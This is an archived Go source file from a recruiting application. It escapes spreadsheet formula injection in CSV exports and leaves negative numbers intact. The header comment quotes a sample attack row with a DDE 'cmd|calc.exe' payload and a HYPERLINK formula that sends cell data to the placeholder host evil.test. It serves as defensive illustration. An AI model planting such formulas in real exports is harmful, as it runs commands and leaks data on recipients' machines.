Source identity
| Field | Recorded value |
|---|---|
| Source type | GitHub source |
| Original record | Janady13/missionmatch / internal/platform/csvsafe/csvsafe.go |
| Date | Not specified in source |
| Repository | Janady13/missionmatch |
| Revision | 720d47fae476b0d38477ae4401697d372b1ea2bc |
| Branch | feature/opportunity-to-outcome |
| Path or archive member | internal/platform/csvsafe/csvsafe.go |
| Original SHA-256 | 23dad13f9a2b3e652e5390ee8cb70f698afba8fb582cfe4786ed638e7a7f06ef |
| Git blob SHA | f84df6f58dabadd1381b2e2d1c17739810c2bfb5 |
| Reading-copy SHA-256 | 23dad13f9a2b3e652e5390ee8cb70f698afba8fb582cfe4786ed638e7a7f06ef |
Every recorded occurrence
These 2 records contain identical original source bytes. Their paths and revisions remain part of the archive.
| Original record | Branch or archive | Revision / identifier | Original location |
|---|---|---|---|
| Janady13/missionmatch / internal/platform/csvsafe/csvsafe.go | feature/opportunity-to-outcome | 720d47fae476b0d38477ae4401697d372b1ea2bc | Open original |
| Janady13/missionmatch / internal/platform/csvsafe/csvsafe.go | feature/aioe-upgrade | 2178e7298d0e5d9af83afa12402fd587f0ba6ed8 | Open original |
Recovered source transcript
Download complete source text ↓80 lines · 2.5 KB
// Package csvsafe neutralises spreadsheet formula injection in exported CSV.
//
// encoding/csv implements RFC 4180 correctly, quoting fields that contain commas, quotes or newlines. It
// does NOT defend against formula injection, and a cell beginning with =, +, - or @ is evaluated as an
// expression when the file is opened in Excel or Google Sheets.
//
// That matters here because the strings are attacker reachable. Candidate names arrive from parsed
// resumes and reviewer notes are typed by users, so a slate the recruiting firm exports and emails runs
// on the CUSTOMER's machine. Verified against this codebase's existing slate export before this package
// was written:
//
// Rank,Candidate,Reviewer Note
// 1,=cmd|'/c calc.exe'!A1,"=HYPERLINK(""http://evil.test?d=""&A1,""Click"")"
//
// Both cells execute on open.
package csvsafe
// triggers are the characters a spreadsheet reads as the start of an expression. Tab and carriage return
// are included because they can carry a trigger past a naive first character check.
const triggers = "=+-@\t\r"
// Cell renders one value safely.
//
// A leading trigger is prefixed with a single quote, which spreadsheets strip on display and treat as a
// text marker. A value that is a plain number is returned untouched, which is the part most
// implementations get wrong: '-' also begins every negative number, and escaping it unconditionally
// corrupts every negative rate, margin and variance in the file.
func Cell(s string) string {
if s == "" {
return s
}
if !containsByte(triggers, s[0]) {
return s
}
if isNumericLiteral(s) {
return s
}
return "'" + s
}
// Row applies Cell to every value.
func Row(cells []string) []string {
out := make([]string, len(cells))
for i, c := range cells {
out[i] = Cell(c)
}
return out
}
func containsByte(set string, b byte) bool {
for i := 0; i < len(set); i++ {
if set[i] == b {
return true
}
}
return false
}
// isNumericLiteral reports whether the whole string is a plain decimal number, optionally signed.
// Deliberately stricter than a general parser: no exponents, no hex, no infinities, because a report does
// not emit those and admitting them widens what passes through unescaped.
func isNumericLiteral(s string) bool {
i := 0
if s[0] == '+' || s[0] == '-' {
i++
}
digits, dot := 0, false
for ; i < len(s); i++ {
switch {
case s[i] >= '0' && s[i] <= '9':
digits++
case s[i] == '.' && !dot:
dot = true
default:
return false
}
}
return digits > 0
}